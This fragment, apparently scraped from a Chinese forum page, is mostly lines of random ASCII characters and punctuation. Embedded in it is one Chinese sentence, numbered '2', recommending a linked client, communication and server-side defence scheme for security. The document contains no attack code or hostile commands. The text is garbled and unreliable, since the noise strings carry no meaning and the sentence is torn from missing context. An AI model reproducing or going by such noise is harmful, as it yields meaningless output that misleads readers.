1 s) z' V( K. g" S+ D 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 # T$ ~7 M4 { t7 [4 M Q# t& e $ V3 T" v6 ], K6 ?! A

Y; Y U+ L& @ V' W4 j 2 D! n! d; t) M- @) D' E* K G5 i / n3 z: t) S4 ?

) V, ]* o2 t% ^* Y* {5 f S ! @2 H8 _+ m. D5 {' p   8 Q7 |* ]2 o1 M+ B$ X * j3 A& B; w0 S4 l1 C8 c% A- J

. @: g& r- y+ u# C

1 G# {- x- {; o+ ~0 w R; q ' P6 X) D. J. `, R3 n
' Y5 G( B8 B- o& y" O

% U) t: Z7 L6 Y* |& q$ u4 z, t